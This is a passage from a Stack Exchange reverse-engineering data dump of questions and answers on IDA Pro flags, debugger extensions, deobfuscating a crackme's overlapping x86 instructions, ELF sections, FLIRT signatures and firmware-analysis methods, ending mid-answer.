  <row Id="17233" PostTypeId="1" AcceptedAnswerId="17234" CreationDate="2018-01-18T15:36:22.133" Score="1" ViewCount="163" Body="&lt;p&gt;I tried to google this for a while but I don’t think I’ve phrased it correctly. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;R read&#xA;W write&#xA;X execute&#xA;L ?&#xA;D ?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22944" LastEditorUserId="18698" LastEditDate="2018-01-18T16:55:43.730" LastActivityDate="2018-01-22T10:10:07.287" Title="What are L and D in r-w-x-l-d segment flags of IDA Pro?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17234" PostTypeId="2" ParentId="17233" CreationDate="2018-01-18T16:10:47.227" Score="5" Body="&lt;p&gt;The D stands for debugger only and L for created by the loader - see &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/525.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14715" LastEditorUserId="60" LastEditDate="2018-01-22T10:10:07.287" LastActivityDate="2018-01-22T10:10:07.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17235" PostTypeId="2" ParentId="17232" CreationDate="2018-01-18T17:08:01.510" Score="3" Body="&lt;p&gt;There is a command &lt;code&gt;.timezone&lt;/code&gt; which prints the timezone StandardName&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;tzutil /s &quot;Greenwich Standard Time&quot;&#xA;&#xA;:\&amp;gt;cdb -c &quot;.timezone;q&quot; calc.exe | grep -B 1 -A 1 Green&#xA;0:000&amp;gt; cdb: Reading initial command '.timezone;q'&#xA;Time zone: Greenwich Standard Time; (UTC - 00:00)&#xA;quit:&#xA;&#xA;:\&amp;gt;tzutil /s &quot;Tokyo Standard Time&quot;&#xA;&#xA;:\&amp;gt;cdb -c &quot;.timezone;q&quot; calc.exe | grep -B 1 -A 1 Tokyo&#xA;0:000&amp;gt; cdb: Reading initial command '.timezone;q'&#xA;Time zone: Tokyo Standard Time; (UTC + 09:00)&#xA;quit:&#xA;&#xA;:\&amp;gt;tzutil /s &quot;India Standard Time&quot;&#xA;&#xA;:\&amp;gt;cdb -c &quot;.timezone;q&quot; calc.exe | grep -B 1 -A 1 India&#xA;0:000&amp;gt; cdb: Reading initial command '.timezone;q'&#xA;Time zone: India Standard Time; (UTC + 05:30)&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you want something else from the misc structure you can code some thing along this line and retrieve all information&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;engextcpp.hpp&amp;gt;&#xA;#include &amp;lt;dbghelp.h&amp;gt;&#xA;class EXT_CLASS : public ExtExtension {&#xA;public:&#xA;    EXT_COMMAND_METHOD(tzinfo);&#xA;};&#xA;EXT_DECLARE_GLOBALS();&#xA;EXT_COMMAND(tzinfo,&quot;Output TimeZoneInfo&quot;,&quot;{;e,o,d=0;tzinfo;Print TimeZone}&quot;)&#xA;{&#xA;    Out(&quot;outputs timezone info \n&quot;);&#xA;    MINIDUMP_MISC_INFO_N Info;&#xA;    HRESULT Status;&#xA;    if ((Status = m_Advanced2-&amp;gt;Request(DEBUG_REQUEST_MISC_INFORMATION,NULL,&#xA;                    0,&amp;amp;Info,sizeof(Info),NULL)) == S_OK){&#xA;        Out(&quot;we recieved tzinfo %x\n %S\n&quot; , Info.TimeZoneId , Info.TimeZone.StandardName);&#xA;    } else {&#xA;        Out(&quot;we didnot recieve tzinfo\n&quot;);&#xA;    }    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and use it like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;.\cdb -c &quot;.load tzinfo ;!tzinfo;q&quot; calc | grep -A 4 Reading&#xA;0:000&amp;gt; cdb: Reading initial command '.load tzinfo ;!tzinfo;q'&#xA;outputs timezone info&#xA;we recieved tzinfo 0&#xA; India Standard Time&#xA;quit:&#xA;&#xA;:\&amp;gt;tzutil /s &quot;Tokyo Standard Time&quot;&#xA;&#xA;:\&amp;gt;.\cdb -c &quot;.load tzinfo ;!tzinfo;q&quot; calc | grep -A 4 Reading&#xA;0:000&amp;gt; cdb: Reading initial command '.load tzinfo ;!tzinfo;q'&#xA;outputs timezone info&#xA;we recieved tzinfo 0&#xA; Tokyo Standard Time&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-01-18T17:08:01.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17239" PostTypeId="2" ParentId="8639" CreationDate="2018-01-19T08:10:31.763" Score="2" Body="&lt;p&gt;Well exactly not a &quot;pure&quot; IDA solution. I use &lt;a href=&quot;https://github.com/REhints/HexRaysCodeXplorer&quot; rel=&quot;nofollow noreferrer&quot;&gt;HexRaysCodeXplorer&lt;/a&gt; to do the same. &lt;code&gt;Map to another variable&lt;/code&gt; will be present in the right click context menu while in pseudocode mode. This plugin is filled with features which will make your life easier and small nuances you wish were present in IDA.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2018-01-19T08:10:31.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17243" PostTypeId="2" ParentId="17222" CreationDate="2018-01-21T13:24:15.690" Score="2" Body="&lt;p&gt;This is not a complete answer, but maybe I can shed some more light on this interesting question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Digging through the 68030, 68040, 68851 (PMMU) and 68881/2 (FPU) manuals, it seems that the $FBE6 opcode is not a valid opcode for any known Motorola coprocessor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As stated in the &lt;a href=&quot;http://bitsavers.informatik.uni-stuttgart.de/components/motorola/68000/68030_Users_Manual_3ed_1990.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;68030 UM/AD&lt;/a&gt; chapter 10, coprocessor ID #5 is reserved for Motorola use. The only two IDs used by Motorola seem to be 0 (PMMU AFAIK) and 1 (FPU).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;type&quot; bits (8-6, see p. 10-4) have the value 7. This value does not seem to be defined, so - if I understand the documentation correctly - the CPU will throw an exception.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at some proprietary source code (which I can obviously not show here) derived from &lt;a href=&quot;https://git.zx2c4.com/linux/plain/arch/m68k/fpsp040/x_fline.S&quot; rel=&quot;nofollow noreferrer&quot;&gt;Motorola's fpsp040 code&lt;/a&gt; indicates that coprocessor IDs other than 1 are ignored in the FPU emulation F-line handler (this excerpt is from the &lt;a href=&quot;https://git.zx2c4.com/linux/plain/arch/m68k/fpsp040/README&quot; rel=&quot;nofollow noreferrer&quot;&gt;Motorola-licensed code&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  movel   L_SCR1(%a6),%d0  |d0 contains the fline and command word&#xA;  bfextu  %d0{#4:#3},%d1   |extract coprocessor id&#xA;  cmpib   #1,%d1           |check if cpid=1&#xA;  bne     not_mvcr         |exit if not&#xA;  ...&#xA;not_mvcr:&#xA;  moveml     USER_DA(%a6),%d0-%d1/%a0-%a1 |restore data registers&#xA;  frestore (%a7)+&#xA;  unlk   %a6&#xA;  addl   #4,%a7&#xA;  bral   real_fline&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The proprietary code, however, replaces the last instruction with a jump to a user-defined F-line handler. So, there is a chance that the application or OS  installed its own F-line handler for the $FBE6 opcode. It seems that the &lt;a href=&quot;http://www.mactech.com/articles/develop/issue_27/balance.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;68k emulator on PPC machines&lt;/a&gt; used several F-line opcodes; the article linked describes the opcode $FE02 which returns from 68k emulation to PPC code. However, this uses a coprocessor ID of 7, so $FBE6 might not be related to the emulator after all.&lt;/p&gt;&#xA;" OwnerDisplayName="user22967" LastActivityDate="2018-01-21T13:24:15.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17244" PostTypeId="2" ParentId="14675" CreationDate="2018-01-21T17:35:23.957" Score="5" Body="&lt;p&gt;You can dump bytecode at runtime using HotSpot tools, and use a decompiler to reverse the bytecode. I made a proof of concept, &lt;a href=&quot;https://github.com/frontfact/jvminspector&quot; rel=&quot;noreferrer&quot;&gt;available here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It requires 3 dependencies:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;JDK libraries (sa-jdi.jar, tools.jar) to dump bytecode&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/fesh0r/fernflower&quot; rel=&quot;noreferrer&quot;&gt;Fernflower&lt;/a&gt; to decompile bytecode into java code&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bobbylight/RSyntaxTextArea&quot; rel=&quot;noreferrer&quot;&gt;RSyntaxTextArea&lt;/a&gt; to display java source code&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You could also have a look at the HSDB utility&lt;/p&gt;&#xA;" OwnerUserId="22974" LastActivityDate="2018-01-21T17:35:23.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17246" PostTypeId="1" AcceptedAnswerId="17248" CreationDate="2018-01-21T23:59:10.327" Score="3" ViewCount="1301" Body="&lt;p&gt;I'm trying to solve a reverse engineering challenge (&lt;a href=&quot;http://crackmes.cf/users/beatrix/beaba/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://crackmes.cf/users/beatrix/beaba/&lt;/a&gt;) and am having trouble with the obfuscation. Below is a piece of code that gets executed almost immediately after having reached the entry point. After having reached the call instruction, it seems that the call is calling the second byte of the second instruction listed below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000403789 | E8 01 00 00 00           | call beaba.40378F&#xA;000000000040378E | 04 E8                    | add al,E8&#xA;0000000000403790 | 01 00                    | add dword ptr ds:[rax],eax &#xA;0000000000403792 | 00 00                    | add byte ptr ds:[rax],al&#xA;0000000000403794 | D0 83 44 24 08 12        | rol byte ptr ds:[rbx+12082444],1&#xA;000000000040379A | 83 04 24 0A              | add dword ptr ss:[rsp],A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After decoding the bytes starting from the second byte of the second instruction, it translated to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e8 01 00 00 00          call   0x6&#xA;d0 83 44 24 08 12       rol    BYTE PTR [rbx+0x12082444],1&#xA;83 04 24 0a             add    DWORD PTR [rsp],0xa&#xA;c3                      ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This seems to be a local call I thought, I wasn't sure, which calls the function starting from the sixth byte after the call instruction (again, I'm not sure), which would mean that it calls the instructions starting from the byte with value 0x12. This translated to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 00                   add    BYTE PTR [rax],al&#xA;00 f4                   add    ah,dh&#xA;83 44 24 08 12          add    DWORD PTR [rsp+0x8],0x12&#xA;83 04 24 0a             add    DWORD PTR [rsp],0xa&#xA;c3                      ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this is not so practical to do if this were to go on for 100 times. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my question is: is this the correct way to analyze a program, or are there better/more efficient methods? I'm using x64dbg to analyze it and after the program starts calling overlapping instructions and then pauses at a certain instruction, maybe because that's the first instruction that does not overlap and it breaks.&lt;/p&gt;&#xA;" OwnerUserId="22977" LastEditorUserId="18014" LastEditDate="2018-01-22T09:30:47.410" LastActivityDate="2018-01-22T09:30:47.410" Title="Deobfuscating overlapping x86 assembly instructions" Tags="|obfuscation|x86-64|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17248" PostTypeId="2" ParentId="17246" CreationDate="2018-01-22T02:14:46.750" Score="3" Body="&lt;p&gt;Advanced disassemblers solve this problem by performing a recursive traversal of the binary, i.e., they also look at possible jump/branch targets and disassemble from that location - even if the original linear scan indicated that the branch target was inside an instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ollydbg.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OllyDbg&lt;/a&gt; as well as &lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA Pro&lt;/a&gt; support recursive traversal. However, OllyDbg support for x64 seems to be still in development and x64 support is not included in the free (as beer) version of IDA Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://resources.infosecinstitute.com/linear-sweep-vs-recursive-disassembling-algorithm/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerDisplayName="user22967" LastActivityDate="2018-01-22T02:14:46.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17249" PostTypeId="1" CreationDate="2018-01-22T13:39:43.137" Score="4" ViewCount="2462" Body="&lt;p&gt;I am trying to reverse engineer an executable which uses Qt 5.5.1 graphic library and is compiled with MinGw 4.9.2. When i open it with IDA pro 6.8 all of the code appears as user code, without any recognised function. To help ida recognise the Qt functions i tryied to create the flirt signatures of the main Qt libraries. This resulted in lots and lots of collisions (sometimes all functions colliding). After trying to apply these new signatures with ida i don't get any match in the executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i generate flirt signatures for Qt 5.5.1 libraries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**Edit:**I am working under windows and I am working with a windows executable&lt;/p&gt;&#xA;" OwnerUserId="21036" LastEditorUserId="21036" LastEditDate="2018-01-23T11:58:58.640" LastActivityDate="2018-04-23T14:11:39.940" Title="How to generate IDA FLIRT signatures for Qt 5.5.1" Tags="|ida|flirt-signatures|qt|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17257" PostTypeId="2" ParentId="17249" CreationDate="2018-01-23T11:54:57.183" Score="3" Body="&lt;p&gt;You need to build Qt 5.5.1 using MinGw 4.9.2. and guess all the build options that the developer used originally. Then use FLAIR for you IDA version to generate pat files from .a libraries. Then compile pat files into sig files. Put sig files to \IDA\sig and try to apply them.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-01-23T11:54:57.183" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17258" PostTypeId="1" CreationDate="2018-01-23T14:33:02.337" Score="1" ViewCount="2588" Body="&lt;p&gt;I'm writing ELF parser and simple disassembler x86. Having code like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:000B5A2A      call 0000B470 ;e.g. _glXSwapBuffers&#xA;...&#xA;...&#xA;got.plt:0000B470    jmp     dword ptr [ebx+240h] ;jump to .got@_glXSwapBuffers&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wonder how can I recognize &lt;strong&gt;.got&lt;/strong&gt;, &lt;strong&gt;.got.plt&lt;/strong&gt; segments at ELF parsing time ? Simple way is to just check the segment \ section name but this can be fooled easily. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows what's the proper way to identify &lt;strong&gt;.got&lt;/strong&gt;, &lt;strong&gt;.got.plt&lt;/strong&gt; segments \ sections during ELF file format parsing ? &lt;/p&gt;&#xA;" OwnerUserId="2936" LastActivityDate="2018-01-24T14:16:01.203" Title="Elf file format finding .got and .got.plt segments" Tags="|static-analysis|elf|disassemblers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17262" PostTypeId="1" AcceptedAnswerId="17270" CreationDate="2018-01-23T17:35:46.153" Score="13" ViewCount="26879" Body="&lt;p&gt;When examining &lt;code&gt;bin&lt;/code&gt; firmware files Binwalk is an extremely helpful tool. There are times though that Binwalk comes up empty and a lot more digging is required to make sense of the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any alternatives to Binwalk that might work better in certain cases, or possibly a commercial version of such a tool?&lt;/p&gt;&#xA;" OwnerUserId="22707" LastActivityDate="2020-08-19T00:04:38.153" Title="Binwalk alternative" Tags="|firmware|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17264" PostTypeId="2" ParentId="17262" CreationDate="2018-01-23T18:54:02.633" Score="3" Body="&lt;p&gt;You can try &lt;a href=&quot;http://www.binaryanalysis.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;binaryanalysis&lt;/a&gt; maybe it can help&lt;/p&gt;&#xA;" OwnerUserId="3810" LastActivityDate="2018-01-23T18:54:02.633" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17265" PostTypeId="1" CreationDate="2018-01-23T20:42:39.140" Score="4" ViewCount="1893" Body="&lt;p&gt;New to assembly here. Most dynamic languages have REPLs these days and they're great. I really want a tool like that for x86. Is there any thing open source on the table? Even if it's compiling everything from the start and running it a new or through a virtualized environment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to test argument order and see what the results look like.&lt;/p&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-01-26T02:20:37.147" Title="REPL for x86 assembly?" Tags="|assembly|" AnswerCount="3" CommentCount="0" ClosedDate="2018-02-06T08:17:23.603" ContentLicense="CC BY-SA 3.0" />
  <row Id="17266" PostTypeId="2" ParentId="17265" CreationDate="2018-01-23T21:50:03.023" Score="7" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/zerosum0x0/WinREPL&quot; rel=&quot;noreferrer&quot;&gt;WinREPL&lt;/a&gt; is a solid go-to!&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;WinREPL is a &quot;read-eval-print loop&quot; shell on Windows that is useful for testing/learning x86 and x64 assembly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2018-01-23T21:50:03.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17268" PostTypeId="2" ParentId="17258" CreationDate="2018-01-23T23:39:51.850" Score="1" Body="&lt;p&gt;&lt;code&gt;.got&lt;/code&gt; and &lt;code&gt;.got.plt&lt;/code&gt; are examples of labels that will always describe sections and never segments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a critical conceptual difference between sections and segments. Sections provide information about how information is organized within a binary, and segments describe to the program loader (and if the binary is dynamically linked, the dynamic linker) how a process image should be composed in virtual memory from the binary. Take a look at the SysV ABI (generic) and the output of &lt;code&gt;readelf -SW -l &amp;lt;binary&amp;gt;&lt;/code&gt; for more on the difference between sections and segments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Information about sections is stored in the section header table, so to find information about sections in a binary, parse the section header table. Note that the section header table is not required to be present in the binary - the loader only uses segment information to accomplish process creation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Familiarize yourself with ELF structure by exploring this excellent diagram: &lt;a href=&quot;https://github.com/corkami/pics/blob/master/binary/elf101/elf101-64.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/corkami/pics/blob/master/binary/elf101/elf101-64.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/16829/disassemblers-resolving-elf-section-names/16830#16830&quot;&gt;Disassemblers resolving (ELF) section names&lt;/a&gt; for more about the section header table.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2018-01-24T14:16:01.203" LastActivityDate="2018-01-24T14:16:01.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17269" PostTypeId="1" AcceptedAnswerId="17284" CreationDate="2018-01-24T03:37:51.423" Score="2" ViewCount="378" Body="&lt;p&gt;From the demangled name, I know that a function takes an &lt;code&gt;std::string const&amp;amp;&lt;/code&gt; as a parameter but when generating psuedo-c code with Hex-Rays' decompiler it autodetects the parameters as &lt;code&gt;(int a1, int a2, int a3)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix the function signature Hex-Rays' is generating?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vo2NH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vo2NH.png&quot; alt=&quot;screenshot of IDA graph view&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __fastcall EncodeUtil::getDecryptStr(int a1, int a2, int a3)&#xA;{&#xA;  int v3; // r7&#xA;  unsigned int i; // r5&#xA;  char v5; // r6&#xA;  int v7; // [sp+4h] [bp-1Ch]&#xA;  int v8; // [sp+8h] [bp-18h]&#xA;&#xA;  v7 = a2;&#xA;  v8 = a3;&#xA;  v3 = a1;&#xA;  HttpUtility::URLDecode(&amp;amp;v7);&#xA;  for ( i = 0; i &amp;lt; *(_DWORD *)(v7 - 12); ++i )&#xA;  {&#xA;    sub_3B25D0(&amp;amp;v7);&#xA;    v5 = byte_41A7DD[i &amp;amp; 7];&#xA;    *(_BYTE *)(v7 + i) ^= v5;&#xA;    sub_3B25D0(&amp;amp;v7);&#xA;    if ( !*(_BYTE *)(v7 + i) )&#xA;    {&#xA;      sub_3B25D0(&amp;amp;v7);&#xA;      *(_BYTE *)(v7 + i) ^= v5;&#xA;    }&#xA;  }&#xA;  sub_3B2E20(v3, &amp;amp;v7);&#xA;  sub_3B1CCC(&amp;amp;v7);&#xA;  return v3;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23016" LastEditorUserId="266" LastEditDate="2018-01-26T18:14:37.163" LastActivityDate="2018-01-26T18:14:37.163" Title="Hex-Rays function signature does not match demangled name" Tags="|ida|arm|hexrays|strings|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17270" PostTypeId="2" ParentId="17262" CreationDate="2018-01-24T04:05:22.093" Score="20" Body="&lt;p&gt;2020-08: For more up-to-date information, see the &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/17262/binwalk-alternative/25697#25697&quot;&gt;answer below&lt;/a&gt; discussing &lt;a href=&quot;https://github.com/kairis/isadetect&quot; rel=&quot;noreferrer&quot;&gt;ISAdetect&lt;/a&gt; and &lt;a href=&quot;https://github.com/BinaryResearch/centrifuge-toolkit&quot; rel=&quot;noreferrer&quot;&gt;Centrifuge&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;The tools themselves are less important than the approach to the analysis. Instead of looking for better or more tools, seek to develop a sound methodology to employ when analyzing binaries.&lt;/p&gt;&#xA;&lt;p&gt;I'm an amateur (a student) and can't claim to know much, having started experimenting with firmware analysis around March 2017, so take what I write here with a grain of salt. But by basing the way I approach firmware analysis challenges on how professionals do it and drawing on methods employed in data science when analyzing new and unfamiliar data sets, the results have generally been good, even with simple tools. You don't have to take my word for it; feel free to look at the firmware analyses contributed here and make your own determination.&lt;/p&gt;&#xA;&lt;p&gt;Here are 2 exemplars:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/15088/lzma-file-format-not-recognized-details-enclosed/15116#15116&quot;&gt;lzma: File format not recognized [Details enclosed]&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/15006/approach-to-extract-useful-information-from-binary-file/15025#15025&quot;&gt;Approach to extract useful information from binary file&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Here is a summary of a possible approach:&lt;/p&gt;&#xA;&lt;h2&gt;1. Visualization&lt;/h2&gt;&#xA;&lt;p&gt;Visualization is the fastest way to determine if a binary is compressed or encrypted. If a binary is compressed or encrypted, not much else can be done until it is decompressed/decrypted. See this question for an example of how someone reasonably skilled and experienced wasted time analyzing an encrypted binary and getting nowhere, simply because they did not realize that the binary was in fact encrypted: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/16675/disassembling-vxworks-firmware/&quot;&gt;Disassembling VxWorks Firmware&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Use &lt;a href=&quot;http://binvis.io/#/&quot; rel=&quot;noreferrer&quot;&gt;binvis.io&lt;/a&gt; and &lt;code&gt;binwalk -E&lt;/code&gt; to visualize the structure of the binary and its entropy levels. This alone will reveal how the binary is organized, and whether it is compressed/encrypted.&lt;/strong&gt; Areas containing code typically have higher entropy than areas not containing code and this will show up in an entropy scan. Data is often repetitive and has low entropy. Entropy level visualization is very useful because it can reveal if there is no object code in a binary whatsoever.&lt;/p&gt;&#xA;&lt;h2&gt;2. Exploration&lt;/h2&gt;&#xA;&lt;p&gt;In general, it is only after it has been established that there is at least some accessible information available in a binary that it makes sense to go further. How long is it reasonable to stare at an encrypted blob? Anyway, at this juncture several things can be done:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Perform signature scan using &lt;code&gt;binwalk&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Perform an opcode scan using &lt;code&gt;binwalk -A&lt;/code&gt;.&lt;/strong&gt; Most malware target x86 or x86-64 architectures, but most firmware binaries target MIPS or ARM CPUs as far as I can tell. There are many different architectures out there for embedded devices such as PowerPC, AVR, Xtensa, s390, sh4, Sparc, and so on. In addition to all of these different architectures that object code in firmware may target, it may be the case that there is no object code present at all, so an opcode scan will only get you so far, since &lt;code&gt;binwalk&lt;/code&gt; only scans for a handful of architectures.&lt;/p&gt;&#xA;&lt;p&gt;Note that no publicly available tool currently exists that can, with a high level of accuracy, not only identify the presence of object code within a binary and contiguous regions of code but also identify the instruction set architecture (ISA) of the code. This is the subject of research and part of the &lt;a href=&quot;https://www.praetorian.com/challenges/machine-learning&quot; rel=&quot;noreferrer&quot;&gt;Praetorian Machine Learning Challenge&lt;/a&gt;. In lieu of such a tool, &lt;code&gt;binwalk -A&lt;/code&gt; is just about it.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;strings&lt;/code&gt;&lt;/strong&gt; will often turn up interesting data that a signature scan will not.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I have reason to believe that the firmware was developed by developers whose machines use a Unicode-encoded character set, I supplement &lt;code&gt;strings&lt;/code&gt; with &lt;strong&gt;&lt;code&gt;radare2&lt;/code&gt;&lt;/strong&gt;'s search functionality.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;hexdump -C&lt;/code&gt;&lt;/strong&gt; can be used to quickly explore a header structure, if present, as well as seek to interesting structures elsewhere in the binary&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2&gt;3. Analysis&lt;/h2&gt;&#xA;&lt;p&gt;At this point it has been established that the binary contains accessible information that merits analysis. This can include interesting data structures such as headers as well as extracted data such as kernels and file systems and/or object code that can be disassembled.&lt;/p&gt;&#xA;&lt;p&gt;For situations in which there is a clear-text header structure followed by a compressed block for which &lt;code&gt;binwalk&lt;/code&gt; does not detect a signature, a hex editor such as &lt;a href=&quot;http://www.wxhexeditor.org/&quot; rel=&quot;noreferrer&quot;&gt;wxHexEditor&lt;/a&gt; can be very useful. Good examples of how a hex editor can aid in analysis are provided by &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/12325/ebux&quot;&gt;@ebux&lt;/a&gt;, a professional security researcher:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11791/unpack-ipcam-firmware-binwalk-extraction-issue/11797#11797&quot;&gt;Unpack IpCam firmware - Binwalk extraction issue&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8999/decoding-blob-into-original-file/9000#9000&quot;&gt;decoding blob into original file&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If it is believed that object code is present but the CPU/architecture of the device is not known, the architecture will need to be identified before the code can be disassembled. While not very exciting, if the developer provides technical documentation, it is at this point which it will need to be read, not just to identify the CPU but also to discover the base address of the firmware image so that when the ISA is identified the image can be correctly disassembled using &lt;strong&gt;IDA&lt;/strong&gt; or &lt;strong&gt;radare2&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Approaches to identifying binary ISAs range from simple statistical methods, such as examining &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2897/tool-or-data-for-analysis-of-binary-code-to-detect-cpu-architecture&quot;&gt;byte n-gram frequencies&lt;/a&gt; to more sophisticated machine learning-based methods that are discussed in detail here:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://link.springer.com/chapter/10.1007/978-3-319-58469-0_16&quot; rel=&quot;noreferrer&quot;&gt;Towards Automated Classification of 